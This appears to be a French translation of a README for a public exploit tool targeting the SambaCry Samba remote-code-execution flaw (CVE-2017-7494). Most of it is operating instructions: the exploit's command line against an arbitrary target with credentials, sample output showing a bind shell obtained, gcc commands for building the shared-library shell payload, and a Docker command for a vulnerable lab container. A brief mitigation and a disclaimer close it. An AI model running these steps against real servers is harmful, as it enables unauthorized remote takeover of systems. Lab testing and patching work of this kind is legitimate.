
Exploit SambaCry et conteneur vulnérable (CVE-2017-7494)
Samba est une réimplémentation libre du protocole réseau SMB/CIFS. Samba fournit des services de fichiers et d'impression pour divers clients Microsoft Windows et peut s'intégrer à un domaine Microsoft Windows Server, soit en tant que contrôleur de domaine (DC) soit en tant que membre du domaine. Depuis la version 4, il prend en charge les domaines Active Directory et Microsoft Windows NT.
Samba en version 4.5.9 et antérieure est vulnérable à une vulnérabilité d'exécution de code à distance nommée SambaCry. CVE-2017-7494 permet à des utilisateurs authentifiés distants de télécharger une bibliothèque partagée dans un dossier partagé accessible en écriture, et d'effectuer des attaques d'exécution de code pour prendre le contrôle des serveurs qui hébergent des services Samba vulnérables.
Samba 3.x après 3.5.0 et 4.x avant 4.4.14, 4.5.x avant 4.5.10, et 4.6.x avant 4.6.4 ne restreint pas le chemin d'accès aux fichiers lors de l'utilisation de pipes nommés Windows, ce qui permet à des utilisateurs authentifiés distants de télécharger une bibliothèque partagée dans un dossier partagé accessible en écriture, et d'exécuter du code arbitraire via un pipe nommé contrefait.

Pour exécuter correctement cet exploit, vous aurez besoin d'une version patchée de la bibliothèque python impacket et des autres dépendances du fichier requirements. Pour les installer toutes, veuillez exécuter
pip install -r requirements.txt
Si vous utilisez Python3, vous devez exécuter ce logiciel dans un environnement virtuel. Veuillez suivre les étapes :
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh
Après cela, vous pouvez l'exécuter comme suit :
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Par exemple, si vous voulez exploiter l'environnement vulnérable contenu dans ce dépôt, exécutez
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
Et vous obtiendrez la sortie suivante
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Explication des arguments de l'exploit :
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t ou —target - Définit l'hôte distant à attaquer.-e ou —executable - Définit le chemin sur votre système local où se trouve la bibliothèque que vous voulez charger.-s ou —remoteshare - Partager distant où le fichier sera copié.-r ou —remotepath - Où le fichier est situé sur le système distant.-u ou —user - Nom d'utilisateur pour se connecter.-p ou —password - Mot de passe à utiliser pour se connecter.-P ou —remoteshellport - Si vous utilisez une charge utile de type bind shell, connectez-vous à la charge utile après l'exécution de l'attaque.Pour simuler cette attaque, vous pouvez utiliser une image docker vulnérable. Si vous avez docker installé, exécutez simplement
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
Si vous voulez y accéder, utilisez les identifiants suivants.
sambacrynosambanocryVous pouvez trouver un exemple de charge utile de type bind shell pour cet exploit dans le fichier bindshell-samba.c. Modifiez-le comme vous le jugez nécessaire. Ensuite, pour générer un nouveau binaire, utilisez :
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.x après 3.5.0 et 4.x avant 4.4.14, 4.5.x avant 4.5.10, et 4.6.x avant 4.6.4
Ajoutez le paramètre :
nt pipe support = no
dans la section [global] de votre smb.conf et redémarrez smbd. Cela empêche les clients d'accéder à tout point de terminaison de pipe nommé. Notez que cela peut désactiver certaines fonctionnalités attendues pour les clients Windows.
Considérez également le montage du système de fichiers utilisé par samba pour son partage accessible en écriture avec l'option noexec.
Ce programme ou les programmes précédents sont UNIQUEMENT à des fins éducatives. Ne l'utilisez pas sans autorisation. La clause de non-responsabilité habituelle s'applique, notamment le fait que moi (opsxcq) ne suis pas responsable des dommages causés par l'utilisation directe ou indirecte des informations ou fonctionnalités fournies par ces programmes. L'auteur ou tout fournisseur d'accès Internet n'assume AUCUNE responsabilité quant au contenu ou à l'utilisation abusive de ces programmes ou de leurs dérivés. En utilisant ces programmes, vous acceptez le fait que tout dommage (perte de données, plantage du système, compromission du système, etc.) causé par l'utilisation de ces programmes ne relève pas de la responsabilité d'opsxcq.